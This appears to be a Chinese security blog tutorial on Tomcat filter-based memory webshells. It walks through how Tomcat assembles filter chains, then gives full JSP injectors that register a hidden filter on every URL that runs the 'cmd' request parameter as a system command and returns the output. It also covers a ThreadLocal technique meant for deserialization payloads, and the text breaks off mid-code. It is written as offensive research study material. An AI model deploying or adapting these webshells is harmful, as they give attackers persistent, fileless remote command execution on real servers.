filter内存马 java

环境搭建

tomcat8.5.78

Maven Repository: org.apache.tomcat » tomcat-catalina » 8.5.78 (mvnrepository.com)

具体环境搭建参考Tomcat内存马系列(一):Filter型 | Leihehe - Blog

简单说就是新建->选择web application->编辑配置里面选择tomcat local,(我选的是tomcat8.5.78)->去Project struction里面把tomcat的jar包一个一个全部导入

测试的代码

TestServlet.java

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doGet(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

TestFilter.java

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("这是初始化信息");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        //执行过滤操作

        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter> <!-- filter标签的内容将被存入FilterDef类 -->
        <filter-name>testFilter</filter-name>
        <filter-class>TestFilter</filter-class>
    </filter>
    <filter-mapping><!-- filter标签的内容将被存入FilterMap类 -->
        <filter-name>testFilter</filter-name>
        <url-pattern>/test</url-pattern>
    </filter-mapping>
</web-app>

image-20220426151847021

有上面这个说明tomcat成功,下面说明fileter起作用了

web.xml的解析&Context从何而来

ContextConfig

web.xml中存放着filter相关的配置,它必然会被解析读取。web.xml文件里解析出来的内容由Tomcat中的WebXml类来存储。

在监听到Lifecycle.CONFIGURE_START_EVENT事件后,WebXml将自身的存储的信息注入到Context中。

具体流程如下:

  • ContextConfig监听到Lifecycle.CONFIGURE_START_EVENT事件发生
  • ContextConfig调用自身的configureStart()方法, 再调用webConfig(),将/web.xml解析保存到web.xml中,再调用ContextConfig.configureContext(webxml)将webxml中储存的信息注入到context中。

来看代码:

image-20220426155338980

监听到事件后call到webConfig()\方法,在webConfig中解析web.xml的内容、创建**WebXml**实例。

image-20220426155547285

随后调用ContextConfig.configureContext,传入刚刚创建的xml,就完成了

image-20220426155657393

filter是如何从context中被添加进filterchain的

org.apache.catalina.core.StandardWrapperValve

有个invoke方法,其中有个createFilterChain

image-20220428151134086

跟进去,createFilterChain方法里我们获取了context.从而在context中获取到filterMaps

image-20220428151411387

这里的返回值是之前写在web.xml的

    <filter-mapping><!-- filter标签的内容将被存入FilterMap类 -->
        <filter-name>testFilter</filter-name>
        <url-pattern>/test</url-pattern>
    </filter-mapping>

而下面的if语句到for语句的代码,阅读一下

image-20220428153323721

大概是说在这<filter-mapping>里面寻找到对应的名字,如果找到了,就将该FilterfilterConfig添加进filterChain

跟进addfilter

void addFilter(ApplicationFilterConfig filterConfig) {
    ApplicationFilterConfig[] newFilters = this.filters;
    int var3 = newFilters.length;

    for(int var4 = 0; var4 < var3; ++var4) {
        ApplicationFilterConfig filter = newFilters[var4];
        if (filter == filterConfig) {
            return;
        }
    }

    if (this.n == this.filters.length) {//如果n等于当前filters数组的长度,那么就给filter数组扩容
        newFilters = new ApplicationFilterConfig[this.n + 10];
        System.arraycopy(this.filters, 0, newFilters, 0, this.n);
        this.filters = newFilters;
    }

    this.filters[this.n++] = filterConfig;//将filter放入的filters数组的同时,将n+1,相当于是在计数
}

filter数组被封装好了以后,它又会如何执行呢,回到刚刚org.apache.catalina.core.StandardWrapperValve的invoke

image-20220428154630883

这里有个dofilter,用于执行filterchain,跟进去

image-20220428155003597

纵观代码应该是internalDoFilter函数在执行filter,跟进去

image-20220428155401377

然后调用到了我们写在TestFilter.java里面的doFilter()

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    //执行过滤操作

    filterChain.doFilter(servletRequest,servletResponse);
}

至此,我们整个filter的执行就到此结束。

总结

总结

我们来总结一下涉及到的一些Class,这里都以英文字面意思来理解比较容易。

Filter的配置是由我们手动写在web.xml文件里的,所以需要把配置取出来,封装进这个web程序的context里面,以便其它地方调用。

  • ContextConfig - 专门配置Context(可以理解为存储当前web程序信息)的类。
    • ContextConfig类负责监听Lifecycle.CONFIGURE_START_EVENT,也就是“配置开始”事件,监听到就会开始配置 - configureStart()
    • ConfigureStart()中会call到webConfig()方法 - \webConfig**需要先从**web.xml中把内容取出来,先创建一个WebXml类的instance.
    • 用configureContext(webXml)把webXml的内容都存入当前的context。
  • StandardWrapperValve - 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
    • 把这个StandardWrapperValve简单理解为一个servlet,这个servlet接收到了数据,就要对数据进行过滤,要过滤就要先获取过滤规则,也就是我们的过滤器Filters
    • 它利用ApplicationFilterFactory.createFilterChain()来创建一个FilterChain = 》 里面是所有匹配到的filterConfig的集合
    • createFilterChain()读取了当前context,并从获取到的context中读取到了filterMaps =》 里面是所有filter的mapping的情况(见环境搭建中的web.xml文件),如果当前访问的URL匹配上了filter mapping,且在filterConfig中有其filter-name有对应的filter-class被配置,那么就将这个filterConfig添加进filterChain里面,以供使用。至此,filterChain组装完毕。
    • filterChain有了,接下来就是依次去触发filter了。StandardWrapperValve执行filterChain.doFilter()开始执行chain里面的filter。
    • 从chain里面获取filterConfig,再从filterConfig中获取到filter
    • 最后执行filter.doFilter()

可以看出来,一个filter被执行的条件

  • 在context#filterMaps中,有和当前访问URL相匹配的url-pattern
<filter-mapping>
    <filter-name>testFilter</filter-name>
    <url-pattern>/test</url-pattern>    <!--url要匹配-->
</filter-mapping>
  • filterConfig中需要有这个filter名字对应的class

    filterConfig中不仅存放了filterDef,还存放了当时的context。filterDef对应xml中如下内容:

<filter>
    <filter-name>testFilter</filter-name> 
    <filter-class>TestFilter</filter-class>   <!--class要匹配上filter name-->
</filter>

假设我们要自己构造一个这样的符合条件的filter应该怎么做呢?

filter内存马1

eval.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"
page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

<%@ page import = "javax.servlet.*" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%
    class filterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd!= null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }

    }
%>

<%
    // 从 org.apache.catalina.core.ApplicationContext 反射获取 context 方法
    ServletContext servletContext =  request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    String name = "filterDemo";
// 判断是否存在 filterDemo 这个 filter,如果没有则准备创建
    if (filterConfigs.get(name) == null){
        // 定义一些基础属性、类名、filter 名等
        filterDemo filter = new filterDemo();
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);

        // 添加 filterDef
        standardContext.addFilterDef(filterDef);

        // 创建 filterMap,设置 filter 和 url 的映射关系,可设置成单一 url 如 /xyz , 也可以所有页面都可触发可设置为 /*
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        //filterMap.addURLPattern("/xyz");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        // 添加我们的 filterMap 到所有 filter 最前面
        standardContext.addFilterMapBefore(filterMap);

        // 反射创建 FilterConfig,传入 standardContext 与 filterDef
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

        // 将 filter 名和配置好的 filterConifg 传入
        filterConfigs.put(name,filterConfig);
        out.write("Inject success!");
    }
    else{
        out.write("Injected!");
    }
%>

访问

/eval.jsp

image-20220428162530674

由于我的urlpartten是/*

所以任意路由下都可以使用命令

/eval.jsp../abc?cmd=id

image-20220428163305834

简单分析:Filter注册流程

<! -- a. 添加Filter --> 
ApplicationContext.addFilter() ->
    StandardContext.addFilterDef() ->
        <! -- b. 启动Filter --> 
        StandardContext.filterStart() ->
            <! -- c. 创建FilterChain --> 
            ApplicationFilterFactory.createFilterChain() ->
                ApplicationFilterChain.addFilter(filterConfig) ->
                    <! -- d . Filter执行 --> 
                    ApplicationFilterChain.doFilter() ->
            ApplicationFilterChain.internalDoFilter() ->
                某个Filter.doFilter() ->
                    servlet.service() ->
请求过滤需要的Filter接口

访问/test,下断点filterChain.doFilter

image-20220428164835080

跟进ApplicationFilterChain.internalDoFilter

image-20220428164944933

来到这里

image-20220428165352748

查看filter数组

image-20220428165325228

而tomcat的默认配置是放在最后一个的

image-20220428165451333

后面就是doFilter了

由于我们请求的是test,第一个eval.jsp的路由会在dofilter的if判断中直接return回去(就是用户输入的url和filter注册的路由是否匹配的判断),重新循环,来到n=1时就匹配到了

image-20220428170143969

这时候可以进入到

ApplicationFilterChain.servlet.service

总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

应用启动时需要的接口
  • ApplicationFilterConfig
  • FilterDef
  • FilterMap
启动前的加载过程
  • ServletContext
  • ApplicationContext
  • StandardContext

image-20220428205427390

StandandContext 类中 filter 关键的 3 个属性和 2 个方法:

filterMaps

filterDefs

filterConfigs

addFilterDef()

填充 filterDef 对象 filterStart()

根据 filterDefs 初始化 filterConfigs

StandandContext.findFilterDef

image-20220428205712360

StandandContext.addFilterDef

image-20220428205744950

StandandContext.filterStart

image-20220428205855014

从这里的代码可以等价理解为FilterDefs来初始化filterConfig

请求到达时的处理

StandardWrapperValve.invoke

简单分析:动态添加Filter (重要!)

  • 获取standardContext

  • 创建filter

  • 使用filterDef封装Filter对象,将filter添加到filterDefs

  • 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中

  • 使用 ApplicationFilterConfig 封装 filterDef 对象,添加到 filterConfigs 中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

  1. 获取standardContext

Tomcat 在启动时会为每个 Context 都创建个 ServletContext 对象,表示一个 Context。从而可以将 ServletContext 转化为 StandardContext 。

ServletContext 通过反射构造StandardContext

ServletContext servletContext = request.getSession().getServletContext();

Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
  1. 创建filter

直接创建一个filter实例,这时候需要重写它的三个必要的方法initdoFilterdestory

class filterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd!= null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }

    }

dofilter实现了rce+回显的功能

  1. 使用filterDef封装Filter对象,将filter添加到filterDefs

有了恶意类 FilterDemo 和 StandardContext 后,参照 tomcat 源代码来实现注册自定义 filter 的操作。 FilterDef 就相当于 web.xml 中的 filter :

image-20220428220221343

为了之后将内存马融合进反序列化 payload 中,这里特意使用反射获取 FilterDef 对象。如果使用的是 jsp 或者是非反序列化的利用,那么可以直接使用 new 创建对象。

Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
  1. 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中

URL就是web.xml写的路由

Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());// 只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);
  1. 使用 ApplicationFilterConfig 封装 filterDef 对象,添加到 filterConfigs 中
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

最终获得前面的完整代码

有篇文章曾经提到

其它的context获取方法:

从线程中获取StandardContext 如果没有request对象的话可以从当前线程中获取 https://zhuanlan.zhihu.com/p/114625962

从MBean中获取 https://scriptboy.cn/p/tomcat-filter-inject/

于是有了内存马2和3

filter内存马2

“从当前线程中获取StandardContext ”:

最后的路径:

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response

从 ThreadLocal 中获取 StandardContext 要实现动态注册 Filter ,需要两个步骤。第一个步骤就是先达到能获取 request 和 response ,而第二个步骤是通过 request 或者 response 去动态注册 Filter

对于第一个步骤,ApplicationFilterChain

image-20220428221735901

有这两个

    private static final ThreadLocal<ServletRequest> lastServicedRequest;
    private static final ThreadLocal<ServletResponse> lastServicedResponse;

如果能获取lastServiceRequest即可,看到internalDoFilter方法

image-20220428222144142

那么ApplicationDispatcher.WRAP_SAME_OBJECT必须不为空,

并且对 lastServicedRequest 和 lastServicedResponse 这两个 ThreadLocal 进行初始化

首先,我们创建一个继承 AbstractTranslet(因为需要携带恶意字节码到服务端加载执行)的 TomcatEchoInject 类,在其静态代码块中 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化

package com.example.demo.filter;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TomcatEchoInject  extends AbstractTranslet {

    static {
        try {
            /* 刚开始反序列化后执行的逻辑 */
            // 修改 WRAP_SAME_OBJECT 值为 true
            Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (!f.getBoolean(null)) {
                f.setBoolean(null, true);
            }

            // 初始化 lastServicedRequest
            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            f = c.getDeclaredField("lastServicedRequest");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }

            // 初始化 lastServicedResponse
            f = c.getDeclaredField("lastServicedResponse");
            modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

在手写exp的时候注意

由于lastServicedRequest是个final属性

image-20220428223837580

所以反射的时候要把modifiers也弄上

demo

import java.lang.reflect.Field;

public class TestReflection {

    public static void main(String[] args) throws Exception {
        Field nameField = OneCity.class.getDeclaredField("name");
        nameField.setAccessible(true);  // 这个起决定作用
        nameField.set(null, "Shenzhen");
        System.out.println(OneCity.getName());  // 输出修改后的 Shenzhen
    }
}

class OneCity {
    private static String name = "Beijing";

    public static String getName() {
        return name;

    }
}

image-20220428230520984

如果修改为final属性

class OneCity {
    private static final String name = "Beijing";

    public static String getName() {
        return name;

    }
}

image-20220428230819780

这时候我们要做一个更彻底的反射 — 对 Java 反射包中的类进行自我反射。 Field 对象有个一个属性叫做 modifiers , 它表示的是属性是否是 public, private, static, final 等修饰的组合。这里把这个 modifiers 也反射出来,进而把 nameField 的 final 约束也去掉了,回到了上面的状况了

简单的说就是在反射修改name的时候加上这三行

Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
modifiersField.setAccessible(true);
modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL); //②
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class TestReflection {

    public static void main(String[] args) throws Exception {

        Field nameField = OneCity.class.getDeclaredField("name");
        Field modifiersField = Field.class.getDeclaredField("modifiers"); //①
        modifiersField.setAccessible(true);
        modifiersField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL); //②
        nameField.setAccessible(true); // 这个同样不能少,除非上面把 private 也拿掉了,可能还得 public
        nameField.set(null, "Shenzhen");
        System.out.println(OneCity.getName()); // 输出 Shenzhen

    }
}

class OneCity {
    private static final String name = "Beijing";

    public static String getName() {
        return name;

    }
}

image-20220428231440136

把原理拿来利用,这样就可以获得lastServicedRequest

java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
// 不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()

动态注册filter到tomcat

参考

https://www.jianshu.com/p/cbe1c3174d41

Servlet,Listener,Filter由ServletContext去加载,无论是使用xml配置还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向Web容器中进行注册。Servlet 3.0 可以由ServletContext动态进行注册,因此需在Web容器初始化的时候(即建立ServletContext对象的时候)进行动态注册

参考了上面的文章,学到了如何在使用request获取StandardContext 的情况下去动态注册filter

文章的截图:(使用request动态注册filter)

image-20220516194732204

炮制一下

javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("thai", thai);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});

image-20220516201759778

这里由于getState已经是LifecycleState.STARING_PREP了,所以会抛出异常而不进入下面

虽然可以通过反射改getState,使其正确赋值后再改回;但由于代码中只是使用了addFilterDef

所以我们完全也可以通过反射 context 这个字段自行添加 filterDef

修改状态

// 修改状态,要不然添加不了
                // 反射修改
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

filter的创建在

org.apache.catalina.core.ApplicationFilterFactory.createFilterChain

之中

image-20220517210201990

image-20220517211401074

可以看到,从 context 提取了 FilterMap 数组,并且遍历添加到 filterChain ,最终生效,

但是这里有两个问题

  • 我们最早创建的 filter 被封装成 FilterDef 添加到了 context 的 filterDefs 中,但是 filterMaps 中并不存在 跟上述一样的问题,也不
  • 存在 filterConfigs 中( context.findFilterConfig 是从 context 的 filterConfigs 中获取)

第一个问题,其实在下面代码执行 filterRegistration.addMappingForUrlPatterns 的时候已经添加进去了

public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(this.filterDef.getFilterName());
    if (dispatcherTypes != null) {
      Iterator var5 = dispatcherTypes.iterator();

      while(var5.hasNext()) {
        DispatcherType dispatcherType = (DispatcherType)var5.next();
        filterMap.setDispatcher(dispatcherType.name());
      }
    }

    if (urlPatterns != null) {
      String[] var9 = urlPatterns;
      int var10 = urlPatterns.length;

      for(int var7 = 0; var7 < var10; ++var7) {
        String urlPattern = var9[var7];
        filterMap.addURLPattern(urlPattern);
      }

      if (isMatchAfter) {
        this.context.addFilterMap(filterMap);
      } else {
        this.context.addFilterMapBefore(filterMap);
      }
    }

}

所以写到这

 // 创建一个自定义的 Filter 马
                Filter threedr3am = new TomcatShellInject();
                // 添加 filter 马
                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter("thai", threedr3am);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});

而第二个问题,既然没有,我们就反射加进去就行了,不过且先看看 StandardContext ,它有一个方法 filterStart

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
    if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMaps[i], requestPath))
        continue;
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMaps[i].getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
}

创建的顺序是根据 filterMaps 的顺序来的,那么我们就有必要去修改我们添加的 filter 顺序到第一位了,

所以

// 把 filter 插到第一位
                    org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext
                            .findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase("thai")) {
                            org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }

最终demo

Filter2.jsp

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" %>

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.DOM" %>
<%@ page import="com.sun.org.apache.xml.internal.serializer.SerializationHandler" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.TransletException" %>
<%@ page import="com.sun.org.apache.xml.internal.dtm.DTMAxisIterator" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %><%--
  Created by IntelliJ IDEA.
  User: thai
  Date: 2022/4/20
  Time: 10:51
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class TomcatShellInject  implements Filter{

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

            String cmd;
            if ((cmd = servletRequest.getParameter("cmd")) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }
    }
%>

<%

    Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
    java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
    java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (!f.getBoolean(null)) {
        f.setBoolean(null, true);
    }

    // 初始化 lastServicedRequest
    c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
    f = c.getDeclaredField("lastServicedRequest");
    modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
    }

    // 初始化 lastServicedResponse
    f = c.getDeclaredField("lastServicedResponse");
    modifiersField = f.getClass().getDeclaredField("modifiers");
    modifiersField.setAccessible(true);
    modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
    f.setAccessible(true);
    if (f.get(null) == null) {
        f.set(null, new ThreadLocal());
        out.write("init sucesess");
    }

    /*shell 注入,前提需要能拿到 request、response 等 */
    java.lang.reflect.Field f1 = org.apache.catalina.core.ApplicationFilterChain.class
            .getDeclaredField("lastServicedRequest");
    f1.setAccessible(true);
    ThreadLocal t = (ThreadLocal) f1.get(null);
    ServletRequest servletRequest = null;
    // 不为空则意味着第一次反序列化的准备工作已成功
    if (t != null && t.get() != null) {
        servletRequest = (ServletRequest) t.get();
    }
    if (servletRequest != null) {
        javax.servlet.ServletContext servletContext = servletRequest.getServletContext();
        org.apache.catalina.core.StandardContext standardContext = null;
        // 判断是否已有该名字的 filter,有则不再添加
        if (servletContext.getFilterRegistration("thai") == null) {
            // 遍历出标准上下文对象
            for (; standardContext == null; ) {
                java.lang.reflect.Field contextField = servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                Object o = contextField.get(servletContext);
                if (o instanceof javax.servlet.ServletContext) {
                    servletContext = (javax.servlet.ServletContext) o;
                } else if (o instanceof org.apache.catalina.core.StandardContext) {
                    standardContext = (org.apache.catalina.core.StandardContext) o;
                }
            }
            if (standardContext != null) {
                // 修改状态,要不然添加不了
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                // 创建一个自定义的 Filter 马
                Filter threedr3am = new TomcatShellInject();
                // 添加 filter 马
                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter("thai", threedr3am);
                filterRegistration.setInitParameter("encoding", "utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{"/*"});
                // 状态恢复,要不然服务不可用
                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null) {
                    // 生效 filter
